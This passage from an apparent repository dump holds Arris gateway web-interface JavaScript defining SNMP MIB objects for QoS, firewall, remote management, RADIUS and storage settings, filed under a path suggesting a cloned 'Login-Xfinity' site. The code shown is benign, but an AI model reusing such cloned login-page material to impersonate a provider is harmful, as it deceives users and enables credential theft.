Column(\"MtaDispSignalLog\", \"1.3.6.1.4.1.4115.1.3.3.1.5.1.1.2\", 4);\nvar arMtaDispSignalLog = MtaDispSignal.Log;\n\nvar MtadocsQosService = new Table(\"MtadocsQosService\", \"1.3.6.1.4.1.4115.1.3.3.1.6.1\");\nMtadocsQosService.FlowID = new Column(\"MtadocsQosServiceFlowID\", \"1.3.6.1.4.1.4115.1.3.3.1.6.1.1.2\", 2);\nMtadocsQosService.ClassName = new Column(\"MtadocsQosServiceClassName\", \"1.3.6.1.4.1.4115.1.3.3.1.6.1.1.3\", 4);\nMtadocsQosService.FlowDirection = new Column(\"MtadocsQosServiceFlowDirection\", \"1.3.6.1.4.1.4115.1.3.3.1.6.1.1.4\", 4);\nMtadocsQosService.PrimaryFlow = new Column(\"MtadocsQosServicePrimaryFlow\", \"1.3.6.1.4.1.4115.1.3.3.1.6.1.1.5\", 4);\nMtadocsQosService.TrafficType = new Column(\"MtadocsQosServiceTrafficType\", \"1.3.6.1.4.1.4115.1.3.3.1.6.1.1.6\", 4);\nMtadocsQosService.ServicePackets = new Column(\"MtadocsQosServiceServicePackets\", \"1.3.6.1.4.1.4115.1.3.3.1.6.1.1.7\", 2);\nvar arMtadocsQosServiceFlowID = MtadocsQosService.FlowID;\nvar arMtadocsQosServiceClassName = MtadocsQosService.ClassName;\nvar arMtadocsQosServiceFlowDirection = MtadocsQosService.FlowDirection;\nvar arMtadocsQosServicePrimaryFlow = MtadocsQosService.PrimaryFlow;\nvar arMtadocsQosServiceTrafficType = MtadocsQosService.TrafficType;\nvar arMtadocsQosServiceServicePackets = MtadocsQosService.ServicePackets;\n\nvar MtadocsQosShowDsxLog = new Table(\"MtadocsQosShowDsxLog\", \"1.3.6.1.4.1.4115.1.3.3.1.6.4\");\nMtadocsQosShowDsxLog.ShowDsxLog = new Column(\"MtadocsQosShowDsxLogShowDsxLog\", \"1.3.6.1.4.1.4115.1.3.3.1.6.4.1.2\", 4);\nvar arMtadocsQosShowDsxLogShowDsxLog = MtadocsQosShowDsxLog.ShowDsxLog;\n\nvar MtadocsQosServiceContainer = new Container(\"MtadocsQosServiceContainer\", \"1.3.6.1.4.1.4115.1.3.3.1.6\");\nMtadocsQosServiceContainer.DisableLoggin = new Scalar(\"MtadocsQosServiceContainerDisableLoggin\", \"1.3.6.1.4.1.4115.1.3.3.1.6.2\", 2);\nMtadocsQosServiceContainer.LogClear = new Scalar(\"MtadocsQosServiceContainerLogClear\", \"1.3.6.1.4.1.4115.1.3.3.1.6.3\", 2);\nvar arMtadocsQosServiceContainerDisableLoggin = MtadocsQosServiceContainer.DisableLoggin;\nvar arMtadocsQosServiceContainerLogClear = MtadocsQosServiceContainer.LogClear;\n\n\n//\n// VQM\n//\nvar MtaDevVqm = new Container(\"MtaDevVqm\", \"1.3.6.1.4.1.4115.1.3.3.1.1.1.4\");\nMtaDevVqm.Line = new Scalar(\"MtaDevVqmLine\", \"1.3.6.1.4.1.4115.1.3.3.1.1.1.4.1\", 2);\nMtaDevVqm.Clear = new Scalar(\"MtaDevVqmClear\", \"1.3.6.1.4.1.4115.1.3.3.1.1.1.4.2\", 2);\nMtaDevVqm.CallNumberIdentifier = new Scalar(\"MtaDevVqmCallNumberIdentifier\", \"1.3.6.1.4.1.4115.1.3.3.1.1.1.4.5\", 2);\nvar arMtaDevVqmLine = MtaDevVqm.Line;\nvar arMtaDevVqmClear = MtaDevVqm.Clear;\nvar arMtaDevVqmCallNumberIdentifier = MtaDevVqm.CallNumberIdentifier;\n\nvar MtaDevVqmCallNumberTable = new Table(\"MtaDevVqmCallNumberTable\", \"1.3.6.1.4.1.4115.1.3.3.1.1.1.4.4\");\nMtaDevVqmCallNumberTable.CallNumberIds = new Column(\"MtaDevVqmCallNumberIds\", \"1.3.6.1.4.1.4115.1.3.3.1.1.1.4.4.1.2\", 4);\nvar arMtaDevVqmCallNumberIds = MtaDevVqmCallNumberTable.CallNumberIds;\n\nvar MtaDevVqmMetricTable = new Table(\"MtaDevVqmMetricTable\", \"1.3.6.1.4.1.4115.1.3.3.1.1.1.4.6\");\nMtaDevVqmMetricTable.MtaDevVqmMetricValues = new Column(\"MtaDevVqmMetricValues\", \"1.3.6.1.4.1.4115.1.3.3.1.1.1.4.6.1.2\", 4);\nvar arMtaDevVqmMetricValues = MtaDevVqmMetricTable.MtaDevVqmMetricValues;\n\n//software.php\nvar CmDoc30EsaftFWTable = new Table(\"CmDoc30EsaftFWTable\", \"1.3.6.1.4.1.4115.1.3.4.1.6.1.1\");\nCmDoc30EsaftFWTable.FwCurrentFileName = new Column(\"FwCurrentFileName\",\"1.3.6.1.4.1.4115.1.3.4.1.6.1.1.1.8\",4);\nvar arFwCurrentFileName=CmDoc30EsaftFWTable.FwCurrentFileName;\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\nif (window[\"preWalk\"]) {\n    var foo = [];\n    _.each(container, function(v) {\n        foo.push(window[v.name]);\n    });\n    _.each(table, function(v) {\n        foo.push(window[v.name]);\n    });\n    load.apply(this, foo);\n}\n\n\nfunction dumpInC() {\n    function dumpOneInC(o) {\n        $.log(\"\\\"\" + o.oid + \".\\\",\\\"\" + o.name + \"\\\",\");\n    }\n\n    _.each(container, function(v) {\n        _.each(v.children, function(v) {\n            dumpOneInC(v);\n        });\n    });\n    _.each(table, function(v) {\n        _.each(v.children, function(v) {\n            dumpOneInC(v);\n        });\n    });\n\n}\n\nvar rowStatusCols = [\n    arWanStaticDNSRowStatus,\n    arLanDNSRowStatus,\n    arLanClientRowStatus,\n    arDeviceUpDownStatus,\n    arLanCustomRowStatus,\n    arWEP64BitKeyStatus,\n    arWEP128BitKeyStatus,\n    arMACAccessStatus,\n    arWDSBridgeStatus,\n    arFWVirtSrvRowStatus,\n    arFWIPFilterRowStatus,\n    arFWMACFilterRowStatus,\n    arFWPortTrigRowStatus,\n    arKeywordBlkStatus,\n    arBlackListStatus,\n    arWhiteListStatus,\n    arTrustedDeviceStatus,\n    arSNTPServerStatus,\n    arLanStaticClientRowStatus\n    //, arWebAccessRowStatus not needed since we don't create and I have seen some problems\n    // arWebAccessRowStatus\n];\n\nfunction oidIsRowStatus(oid) {\n    for (var i=0; i<rowStatusCols.length; i++)\n        if (oid.startsWith(rowStatusCols[i].oid+\".\"))\n            return true;\n    return false;\n}\n\nvar rowStatusLoaded = false;\nfunction loadRowStatus() {\n    if (rowStatusLoaded)\n        return;\n    rowStatusLoaded = true;\n_.each(rowStatusCols,\n        function(rs) {\n            rs.table.rowStatus = rs;\n        });\n}\n\nvar lans = [ ];\nvar lanNames = { };\nfunction getLan(index) {\n    if (lans.length === 0) {\n        if (!getSessionStorage(\"ar_lans\")) {\n            var bl = bulkLoading;\n            bulkLoading = false;\n            setSessionStorage(\"ar_lans\", LanSrvTable.getTable([arLanName], function(i, row, key) {\n                                                return key+\"@\"+row[0];\n                                            }).sort().join(\"&\")); // todo: verify sort\n            bulkLoading = bl;\n        }\n        _.each(getSessionStorage(\"ar_lans\").split(\"&\"), function(v) {\n             v = v.split(\"@\");\n            lans.push(v[0]);\n            lanNames[v[0]] = v[1];\n        });\n    }\n    return index === undefined ? lans : lans[index];\n}\nfunction getLanName(lan) {\n    return lan === undefined ? lanNames : (lanNames[lan] || \"\");\n}\n\nvar bsss = [ ];\nvar bssNames = { };\nfunction getBss(index) {\n    if (bsss.length === 0) {\n        if (!getSessionStorage(\"ar_bsss\")) {\n            var bl = bulkLoading;\n            bulkLoading = false;\n            var bssString = BSSTable.getTable([arBssSSID], function(i, row, key) {\n                                                            return key+\"@\"+row[0];\n                                                         }).sort().join(\"&\");\n            if (!bssString)\n                bssString = \"disabled\"; // in case no bss table\n\n            setSessionStorage(\"ar_bsss\", bssString);\n            bulkLoading = bl;\n        }\n        _.each(getSessionStorage(\"ar_bsss\").split(\"&\"), function(v) {\n             v = v.split(\"@\");\n            bsss.push(v[0]);\n            bssNames[v[0]] = v[1];\n        });\n    }\n    return index === undefined ? bsss : bsss[index];\n}\nfunction getBssName(bss) {\n    return bss === undefined ? bssNames : (bssNames[bss] || \"\");\n}\n\nfunction flushBss() {\n    setSessionStorage(\"ar_bsss\",\"\");\n    bsss = [];\n    bssNames = { };\n}\n\nString.prototype.escapeChars = function() \n{ \n\treturn this.replace(/([\\\\\"'\\[\\]\\{\\}])/g, \"\\\\$1\").replace(/\\0/g, \"\\\\0\"); \n} \n\n"
  },
  {
    "path": "sites/Login-Xfinity/Xfinity_files/mib2.js",
    "content": "//\n// Email Notification\n//\n//1.3.6.1.4.1.4115.1.20.1.1.5.18.7.1\n//1.3.6.1.4.1.4115.1.20.1.1.5.18.7.2\n//1.3.6.1.4.1.4115.1.20.1.1.5.18.7.3\n//1.3.6.1.4.1.4115.1.20.1.1.5.18.7.4\n//1.3.6.1.4.1.4115.1.20.1.1.5.18.8\n\n\n/*\nvar SCM_EmailNotification = new Container(\"SCM_EmailNotification\", \"1.3.6.1.4.1.4115.1.3.3.1.1.1.456\");\nSCM_EmailNotification.RecipientEmail = new Scalar(\"SCM_EmailNotificationRecipientEmail\", \"1.3.6.1.4.1.4115.1.3.3.1.1.1.456.1\", 2);\nSCM_EmailNotification.FirewallBreach = new Scalar(\"SCM_EmailNotificationFirewallBreach\", \"1.3.6.1.4.1.4115.1.3.3.1.1.1.456.3\", 2);\nSCM_EmailNotification.ParentalControlBreach = new Scalar(\"SCM_EmailNotificationParentalControlBreach\", \"1.3.6.1.4.1.4115.1.3.3.1.1.1.456.4\", 2);\nSCM_EmailNotification.AlertsorWarnings  = new Scalar(\"SCM_EmailNotificationAlertsorWarnings\", \"1.3.6.1.4.1.4115.1.3.3.1.1.1.456.5\", 2);\nSCM_EmailNotification.SendLogs  = new Scalar(\"SCM_EmailNotificationSendLogs\", \"1.3.6.1.4.1.4115.1.3.3.1.1.1.456.6\", 2);\nSCM_EmailNotification.SMTPSerAddr  = new Scalar(\"SCM_EmailNotificationSMTPSerAddr\", \"1.3.6.1.4.1.4115.1.3.3.1.1.1.456.8\", 2);\nSCM_EmailNotification.ComcastEmailAddr  = new Scalar(\"SCM_EmailNotificationComcastEmailAddr\", \"1.3.6.1.4.1.4115.1.3.3.1.1.1.456.9\", 2);\nSCM_EmailNotification.ComcastUsername  = new Scalar(\"SCM_EmailNotificationComcastUsername\", \"1.3.6.1.4.1.4115.1.3.3.1.1.1.456.10\", 2);\nSCM_EmailNotification.ComcastPassword  = new Scalar(\"SCM_EmailNotificationComcastPassword\", \"1.3.6.1.4.1.4115.1.3.3.1.1.1.456.11\", 2);\nvar arSCM_EmailNotificationRecipientEmail = SCM_EmailNotification.RecipientEmail;\nvar arSCM_EmailNotificationFirewallBreach = SCM_EmailNotification.FirewallBreach;\nvar arSCM_EmailNotificationParentalControlBreach = SCM_EmailNotification.ParentalControlBreach;\nvar arSCM_EmailNotificationAlertsorWarnings = SCM_EmailNotification.AlertsorWarnings;\nvar arSCM_EmailNotificationSendLogs = SCM_EmailNotification.SendLogs;\nvar arSCM_EmailNotificationSMTPSerAddr = SCM_EmailNotification.SMTPSerAddr;\nvar arSCM_EmailNotificationComcastEmailAddr = SCM_EmailNotification.ComcastEmailAddr;\nvar arSCM_EmailNotificationComcastUsername = SCM_EmailNotification.ComcastUsername;\nvar arSCM_EmailNotificationComcastPassword = SCM_EmailNotification.ComcastPassword;\n*/\n\n\n//XFINITY Network\nvar WanCurrentTable2 = new Table(\"WanCurrentTable2\", \"1.3.6.1.4.1.4115.1.20.1.1.1.457\");\nWanCurrentTable2.WanCurrentLinkLocalAddr = new Column(\"WanCurrentLinkLocalAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.1.457.1.1\",2);\nvar arWanCurrentLinkLocalAddr=WanCurrentTable2.WanCurrentLinkLocalAddr;\n\n//CM DHCP Parameters\nvar arrisCmDoc30Setup2 = new Container(\"arrisCmDoc30Setup2\", \"1.3.6.1.4.1.4115.1.3.4.1.8\");\narrisCmDoc30Setup2.LearnedIPMode = new Scalar(\"LearnedIPMode\",\"1.3.6.1.4.1.4115.1.3.4.1.8.3\",2);\nvar arCmDoc30Setup2LearnedIPMode = arrisCmDoc30Setup2.LearnedIPMode;\n\n\n//Firewall > IPv6 ChengDa Lee\n\n\n\n\n\n\nvar FWCfgv6 = new Container(\"FWCfgv6\", \"1.3.6.1.4.1.4115.1.20.1.1.4.40\");\n/*FWCfgv6.FWv6Enabled= new Scalar(\"FWv6Enabled\",\"1.3.6.1.4.1.4115.1.20.1.1.459.1\",2);\nFWCfgv6.FWv6SecurityLevel= new Scalar(\"FWv6SecurityLevel\",\"1.3.6.1.4.1.4115.1.20.1.1.459.9\",2);\nFWCfgv6.FWv6ResetDefaults= new Scalar(\"FWv6ResetDefaults\",\"1.3.6.1.4.1.4115.1.20.1.1.459.22\",2);\nFWCfgv6.FWv6BlockHTTP= new Scalar(\"FWv6BlockHTTP\",\"1.3.6.1.4.1.4115.1.20.1.1.459.23\",2);\nFWCfgv6.FWv6BlockP2P= new Scalar(\"FWv6BlockP2P\",\"1.3.6.1.4.1.4115.1.20.1.1.459.24\",2);\nFWCfgv6.FWv6BlockIdent= new Scalar(\"FWv6BlockIdent\",\"1.3.6.1.4.1.4115.1.20.1.1.459.25\",2);\nFWCfgv6.FWv6BlockICMP= new Scalar(\"FWv6BlockICMP\",\"1.3.6.1.4.1.4115.1.20.1.1.459.26\",2);\nFWCfgv6.FWv6BlockMulticast= new Scalar(\"FWv6BlockMulticast\",\"1.3.6.1.4.1.4115.1.20.1.1.459.27\",2);\n*/\n/*var arFWv6Enabled=FWCfgv6.FWv6Enabled;\nvar arFWv6SecurityLevel=FWCfgv6.FWv6SecurityLevel;\nvar arFWv6ResetDefaults=FWCfgv6.FWv6ResetDefaults;\nvar arFWv6BlockHTTP=FWCfgv6.FWv6BlockHTTP;\nvar arFWv6BlockP2P=FWCfgv6.FWv6BlockP2P;\nvar arFWv6BlockIdent=FWCfgv6.FWv6BlockIdent;\nvar arFWv6BlockICMP=FWCfgv6.FWv6BlockICMP;\nvar arrisRouterFWIPv6Enable=FWCfgv6.FWv6BlockMulticast;\n*/\nFWCfgv6.FWIPv6SecurityLevel         = new Scalar(\"FWIPv6SecurityLevel\", \"1.3.6.1.4.1.4115.1.20.1.1.4.40.1\", 2);\nFWCfgv6.FWIPv6BlockHTTP             = new Scalar(\"FWIPv6BlockHTTP\",     \"1.3.6.1.4.1.4115.1.20.1.1.4.40.2\", 2);\nFWCfgv6.FWIPv6BlockICMP             = new Scalar(\"FWIPv6BlockICMP\",     \"1.3.6.1.4.1.4115.1.20.1.1.4.40.3\", 2);\nFWCfgv6.FWIPv6BlockMulticast        = new Scalar(\"FWIPv6BlockMulticast\",\"1.3.6.1.4.1.4115.1.20.1.1.4.40.4\", 2);\nFWCfgv6.FWIPv6BlockP2P              = new Scalar(\"FWIPv6BlockP2P\",      \"1.3.6.1.4.1.4115.1.20.1.1.4.40.5\", 2);\nFWCfgv6.FWIPv6BlockIDENT            = new Scalar(\"FWIPv6BlockIDENT\",    \"1.3.6.1.4.1.4115.1.20.1.1.4.40.6\", 2);\nFWCfgv6.FWIPv6Enable                = new Scalar(\"FWIPv6Enable\",        \"1.3.6.1.4.1.4115.1.20.1.1.4.40.7\", 2);\nFWCfgv6.FWIPv6ResetDefaults         = new Scalar(\"FWIPv6ResetDefaults\", \"1.3.6.1.4.1.4115.1.20.1.1.4.40.8\", 2);      \n                                                                        \nvar arrisRouterFWIPv6SecurityLevel  =FWCfgv6.FWIPv6SecurityLevel;\nvar arrisRouterFWIPv6BlockHTTP      =FWCfgv6.FWIPv6BlockHTTP    ;\nvar arrisRouterFWIPv6BlockICMP      =FWCfgv6.FWIPv6BlockICMP    ;\nvar arrisRouterFWIPv6BlockMulticast =FWCfgv6.FWIPv6BlockMulticast ;\nvar arrisRouterFWIPv6BlockP2P       =FWCfgv6.FWIPv6BlockP2P     ;\nvar arrisRouterFWIPv6BlockIDENT     =FWCfgv6.FWIPv6BlockIDENT   ;\nvar arrisRouterFWIPv6Enable         =FWCfgv6.FWIPv6Enable       ;\nvar arrisRouterFWIPv6ResetDefaults\t=FWCfgv6.FWIPv6ResetDefaults       ;\n\n//Software\nvar mib2system2 = new Container(\"mib2system2\", \"1.3.6.1.4.1.4115.1.3.4.1.460\");\nmib2system2.SoftwareImageName = new Scalar(\"SoftwareImageName\",\"1.3.6.1.4.1.4115.1.3.4.1.460.1\",2);\nmib2system2.AdvancedServices = new Scalar(\"AdvancedServices\",\"1.3.6.1.4.1.4115.1.3.4.1.460.2\",2);\nvar mib2system2SoftwareImageName = mib2system2.SoftwareImageName;\nvar mib2system2AdvancedServices = mib2system2.AdvancedServices;\n\n//battery\nvar MtaDevBatteryStatusTable2 = new Table(\"MtaDevBatteryStatusTable2\", \"1.3.6.1.4.1.4115.1.3.3.1.3.5.461\");\nMtaDevBatteryStatusTable2.MtaDevBatteryCondition = new Column(\"MtaDevBatteryCondition\", \"1.3.6.1.4.1.4115.1.3.3.1.3.5.461.1.2\", 2);\nMtaDevBatteryStatusTable2.MtaDevNumberofCycles = new Column(\"MtaDevNumberofCycles\", \"1.3.6.1.4.1.4115.1.3.3.1.3.5.461.1.5\", 2);\nvar arMtaDevBatteryCondition = MtaDevBatteryStatusTable2.MtaDevBatteryCondition;\nvar arMtaDevNumberofCycles = MtaDevBatteryStatusTable2.MtaDevNumberofCycles;\n\nvar MtaDevBatteryStatus = new Container(\"MtaDevBatteryStatus\", \"1.3.6.1.4.1.4115.1.3.3.1.3.5\");\nMtaDevBatteryStatus.MtaDevTotalCapacity = new Scalar(\"MtaDevTotalCapacity\",\"1.3.6.1.4.1.4115.1.3.3.1.3.5.5\",2);\nMtaDevBatteryStatus.MtaDevActualCapacity = new Scalar(\"MtaDevActualCapacity\",\"1.3.6.1.4.1.4115.1.3.3.1.3.5.6\",2);\nvar mib2MtaDevTotalCapacity = MtaDevBatteryStatus.MtaDevTotalCapacity;\nvar mib2MtaDevActualCapacity = MtaDevBatteryStatus.MtaDevActualCapacity;\n\n//remote management\nvar cmDocExtendCmParamterTable = new Table(\"cmDocExtendCmParamterTable\", \"1.3.6.1.4.1.4115.1.3.4.1.8.7\");\ncmDocExtendCmParamterTable.CmParamterType = new Column(\"CmParamterType\",\"1.3.6.1.4.1.4115.1.3.4.1.8.7.1.2\",2);\ncmDocExtendCmParamterTable.CmParamterIpAddress = new Column(\"CmParamterIpAddress\",\"1.3.6.1.4.1.4115.1.3.4.1.8.7.1.3\",4);\nvar arCmParamterType=cmDocExtendCmParamterTable.CmParamterType;\nvar arCmParamterIpAddress=cmDocExtendCmParamterTable.CmParamterIpAddress;\n\n//moca\nvar ArrisMoCAMib = new Container(\"ArrisMoCAMib\", \"1.3.6.1.4.1.4115.1.21\");\nArrisMoCAMib.MoCAApplySettings= new Scalar(\"MoCAApplySettings\",\"1.3.6.1.4.1.4115.1.21.2\",2);\nvar arMoCAApplySettings=ArrisMoCAMib.MoCAApplySettings;\n\nvar mocaConfigation = new Container(\"mocaConfigation\", \"1.3.6.1.4.1.4115.1.21.1\");\nmocaConfigation.ChanncelSetMethod = new Scalar(\"ChanncelSetMethod\",\"1.3.6.1.4.1.4115.1.21.1.1\",2);\nmocaConfigation.TabooChanncel = new Scalar(\"TabooChanncel\",\"1.3.6.1.4.1.4115.1.21.1.4\",66);\nmocaConfigation.mocaChanncelMark = new Scalar(\"mocaChanncelMark\",\"1.3.6.1.4.1.4115.1.21.1.2\",66);\nmocaConfigation.mocaLOF = new Scalar(\"mocaLOF\",\"1.3.6.1.4.1.4115.1.21.1.5\",2);\nmocaConfigation.mocaPrimchnoff = new Scalar(\"mocaPrimchnoff\",\"1.3.6.1.4.1.4115.1.21.1.6\",2);\n\nvar arChanncelSetMethod = mocaConfigation.ChanncelSetMethod;\nvar arTabooChanncel = mocaConfigation.TabooChanncel;\nvar armocaChanncelMark = mocaConfigation.mocaChanncelMark;\nvar armocaLOF = mocaConfigation.mocaLOF;\nvar armocaPrimchnoff = mocaConfigation.mocaPrimchnoff;\n\n\n//Gateway > Hardware > LAN Ethernet\n//var mib2interface2 = new Container(\"mib2interface2\", \"1.3.6.1.2.1.2.2.1.5.4.462\");\n//mib2interface2.ifPort4Enable = new Scalar(\"ifPort4Enable\",\"1.3.6.1.2.1.2.2.1.5.4.462.1\",2);\n//var arifPort4Enable = mib2interface2.ifPort4Enable;\n\n//Gateway > Hardware > USB : port 1/port 2\nvar mib2interfaceUSB = new Container(\"mib2interfaceUSB\", \"1.3.6.1.4.1.4.2.1.5.4.463\");\nmib2interfaceUSB.USB1status=    new Scalar(\"USB1status\",\"1.3.6.1.4.1.4.2.1.5.4.463.1\");\nmib2interfaceUSB.USB1Desc=      new Scalar(\"USB1Desc\",  \"1.3.6.1.4.1.4.2.1.5.4.463.2\");\nmib2interfaceUSB.USB1SN=        new Scalar(\"USB1SN\",    \"1.3.6.1.4.1.4.2.1.5.4.463.3\");\nmib2interfaceUSB.USB1Speed=     new Scalar(\"USB1Speed\",\"1.3.6.1.4.1.4.2.1.5.4.463.4\");\nmib2interfaceUSB.USB1Manufacturer= new Scalar(\"USB1Manufacturer\",\"1.3.6.1.4.1.4.2.1.5.4.463.5\");\nvar arUSB1status=mib2interfaceUSB.USB1status;\nvar arUSB1Desc=mib2interfaceUSB.USB1Desc;\nvar arUSB1SN=mib2interfaceUSB.USB1SN;\nvar arUSB1Speed=mib2interfaceUSB.USB1Speed;\nvar arUSB1Manufacturer=mib2interfaceUSB.USB1Manufacturer;\n\n//Connected Devices > Network Storage, NetworkStorage\nvar MtaDevBatteryStatusTable2 = new Table(\"MtaDevBatteryStatusTable2\", \"1.3.6.1.4.1.4115.1.3.3.1.3.5.461\");\n    MtaDevBatteryStatusTable2.MtaDevBatteryCondition = new Column(\"MtaDevBatteryCondition\", \"1.3.6.1.4.1.4115.1.3.3.1.3.5.461.1.2\", 2);\n//var arMtaDevBatteryCondition = MtaDevBatteryStatusTable2.MtaDevBatteryCondition;\n\nvar mib2interfaceNetworkStorageTable= new Table(\"mib2interfaceNetworkStorageTable\", \"1.3.6.1.4.1.4.2.1.5.4.464\");\nmib2interfaceNetworkStorageTable.NSName=                 new Column(\"NSName\", \"1.3.6.1.4.1.4.2.1.5.4.464.1.1\");\nmib2interfaceNetworkStorageTable.NSFileSystem =          new Column(\"NSFileSystem\", \"1.3.6.1.4.1.4.2.1.5.4.464.1.2\");\nmib2interfaceNetworkStorageTable.NSSpaceAvailable =      new Column(\"NSSpaceAvailable\",    \"1.3.6.1.4.1.4.2.1.5.4.464.1.3\");\nmib2interfaceNetworkStorageTable.NSTotalSpace=           new Column(\"NSTotalSpace\",\"1.3.6.1.4.1.4.2.1.5.4.464.1.4\");\nmib2interfaceNetworkStorageTable.NSLocation=             new Column(\"NSLocation\",\"1.3.6.1.4.1.4.2.1.5.4.464.1.5\");\nvar arNSName=            mib2interfaceNetworkStorageTable.NSName;\nvar arNSFileSystem =     mib2interfaceNetworkStorageTable.NSFileSystem;\nvar arNSSpaceAvailable = mib2interfaceNetworkStorageTable.NSSpaceAvailable;\nvar arNSTotalSpace =     mib2interfaceNetworkStorageTable.NSTotalSpace;\nvar arNSLocation =       mib2interfaceNetworkStorageTable.NSLocation;\n\n\n// Range Extenders\nvar mib2interfaceRangeExtender=new Table(\"mib2interfaceRangeExtender\", \"1.3.6.1.4.1.4.2.1.5.4.465\");\nmib2interfaceRangeExtender.RangeExtenderName    =new Column(\"RangeExtenderName\", \"1.3.6.1.4.1.4.2.1.5.4.465.1.1\");\nmib2interfaceRangeExtender.RESSID             =new Column(\"RESSID\", \"1.3.6.1.4.1.4.2.1.5.4.465.1.2\");\nmib2interfaceRangeExtender.REBSSID            =new Column(\"REBSSID\", \"1.3.6.1.4.1.4.2.1.5.4.465.1.3\");\nmib2interfaceRangeExtender.REFrequencyBand    =new Column(\"REFrequencyBand\", \"1.3.6.1.4.1.4.2.1.5.4.465.1.4\");\nmib2interfaceRangeExtender.REChannel          =new Column(\"REChannel\", \"1.3.6.1.4.1.4.2.1.5.4.465.1.5\");\nmib2interfaceRangeExtender.RESecurityMode     =new Column(\"RESecurityMode\", \"1.3.6.1.4.1.4.2.1.5.4.465.1.6\");\nvar arRangeExtenderName=mib2interfaceRangeExtender.RangeExtenderName  ;\nvar arRESSID           =mib2interfaceRangeExtender.RESSID             ;\nvar arREBSSID          =mib2interfaceRangeExtender.REBSSID            ;\nvar arREFrequencyBand  =mib2interfaceRangeExtender.REFrequencyBand    ;\nvar arREChannel        =mib2interfaceRangeExtender.REChannel          ;\nvar arRESecurityMode   =mib2interfaceRangeExtender.RESecurityMode     ;\n\n\n// Advanced >> remote_management\nvar mib2interfaceRemoteManagement = new Container(\"mib2interfaceRemoteManagement\", \"1.3.6.1.4.1.4.2.1.5.4.466\");\nmib2interfaceRemoteManagement.RMEnableHttp=   new Scalar(\"RMEnableHttp\", \"1.3.6.1.4.1.4.2.1.5.4.466.1\", 2);\nmib2interfaceRemoteManagement.RMEnableHttps=  new Scalar(\"RMEnableHttps\", \"1.3.6.1.4.1.4.2.1.5.4.466.2\", 2);\nmib2interfaceRemoteManagement.RMAddrv4=       new Scalar(\"RMAddrv4\", \"1.3.6.1.4.1.4.2.1.5.4.466.3\", 2);\nmib2interfaceRemoteManagement.RMAddrv6=       new Scalar(\"RMAddrv6\", \"1.3.6.1.4.1.4.2.1.5.4.466.4\", 2);\nmib2interfaceRemoteManagement.RMAllowedIndex= new Scalar(\"RMAllowedIndex\", \"1.3.6.1.4.1.4.2.1.5.4.466.5\", 2);\nmib2interfaceRemoteManagement.RMAddrv4From=   new Scalar(\"RMAddrv4From\", \"1.3.6.1.4.1.4.2.1.5.4.466.6\", 2);\nmib2interfaceRemoteManagement.RMAddrv4End=    new Scalar(\"RMAddrv4End\", \"1.3.6.1.4.1.4.2.1.5.4.466.7\", 2);\nmib2interfaceRemoteManagement.RMAddrv6From=   new Scalar(\"RMAddrv6From\", \"1.3.6.1.4.1.4.2.1.5.4.466.8\", 2);\nmib2interfaceRemoteManagement.RMAddrv6End=    new Scalar(\"RMAddrv6End\", \"1.3.6.1.4.1.4.2.1.5.4.466.9\", 2);\nmib2interfaceRemoteManagement.RMTelnetEnble=    new Scalar(\"RMTelnetEnble\", \"1.3.6.1.4.1.4.2.1.5.4.466.10\", 2);\nmib2interfaceRemoteManagement.RMSSHEnable=    new Scalar(\"RMSSHEnable\", \"1.3.6.1.4.1.4.2.1.5.4.466.11\", 2);\nvar arRMEnableHttp= mib2interfaceRemoteManagement.RMEnableHttp;\nvar arRMEnableHttps=mib2interfaceRemoteManagement.RMEnableHttps;\nvar arRMAddrv4=     mib2interfaceRemoteManagement.RMAddrv4;\nvar arRMAddrv6=     mib2interfaceRemoteManagement.RMAddrv6;\nvar arRMAllowedIndex= mib2interfaceRemoteManagement.RMAllowedIndex;\nvar arRMAddrv4From= mib2interfaceRemoteManagement.RMAddrv4From;\nvar arRMAddrv4End=  mib2interfaceRemoteManagement.RMAddrv4End;\nvar arRMAddrv6From= mib2interfaceRemoteManagement.RMAddrv6From;\nvar arRMAddrv6End=  mib2interfaceRemoteManagement.RMAddrv6End;\nvar arRMTelnetEnble=mib2interfaceRemoteManagement.RMTelnetEnble;\nvar arRMSSHEnable=  mib2interfaceRemoteManagement.RMSSHEnable;\n\n// Advanced >> Radius Servers\nvar RadiusServerTable           =new Table (\"RadiusServerTable\",\"1.3.6.1.4.1.4.2.1.5.4.469\");\nRadiusServerTable.RSEnable      =new Column(\"RSEnable\",         \"1.3.6.1.4.1.4.2.1.5.4.469.1.1\");\nRadiusServerTable.RSIp          =new Column(\"RSIp\",             \"1.3.6.1.4.1.4.2.1.5.4.469.1.2\");\nRadiusServerTable.RSAuthPort    =new Column(\"RSAuthPort\",       \"1.3.6.1.4.1.4.2.1.5.4.469.1.3\");\nRadiusServerTable.RSAcctPort    =new Column(\"RSAcctPort\",       \"1.3.6.1.4.1.4.2.1.5.4.469.1.4\");\nRadiusServerTable.RSLocalIF     =new Column(\"RSLocalIF\",        \"1.3.6.1.4.1.4.2.1.5.4.469.1.5\");\nRadiusServerTable.RSTimout      =new Column(\"RSTimout\",         \"1.3.6.1.4.1.4.2.1.5.4.469.1.6\");\nRadiusServerTable.RSReAuthTmt   =new Column(\"RSReAuthTmt\",      \"1.3.6.1.4.1.4.2.1.5.4.469.1.7\");\nRadiusServerTable.RSSharedSecret=new Column(\"RSSharedSecret\",   \"1.3.6.1.4.1.4.2.1.5.4.469.1.8\");\nvar arRSEnable      = RadiusServerTable.RSEnable      ;\nvar arRSIp          = RadiusServerTable.RSIp          ;\nvar arRSAuthPort    = RadiusServerTable.RSAuthPort    ;\nvar arRSAcctPort    = RadiusServerTable.RSAcctPort    ;\nvar arRSLocalIF     = RadiusServerTable.RSLocalIF     ;\nvar arRSTimout      = RadiusServerTable.RSTimout      ;\nvar arRSReAuthTmt   = RadiusServerTable.RSReAuthTmt   ;\nvar arRSSharedSecret= RadiusServerTable.RSSharedSecret;\n\n// samba_server_config.php\nvar FileShareTable              =new Table (\"FileShareTable\",\"1.3.6.1.4.1.4.2.1.5.4.472\");\nFileShareTable.FSDirectory      =new Column(\"FSDirectory\",         \"1.3.6.1.4.1.4.2.1.5.4.472.1.1\");\nFileShareTable.FSName           =new Column(\"FSName\",             \"1.3.6.1.4.1.4.2.1.5.4.472.1.2\");\nFileShareTable.FSVisible        =new Column(\"FSVisible\",       \"1.3.6.1.4.1.4.2.1.5.4.472.1.3\");\nFileShareTable.FSPermissions    =new Column(\"FSPermissions\",       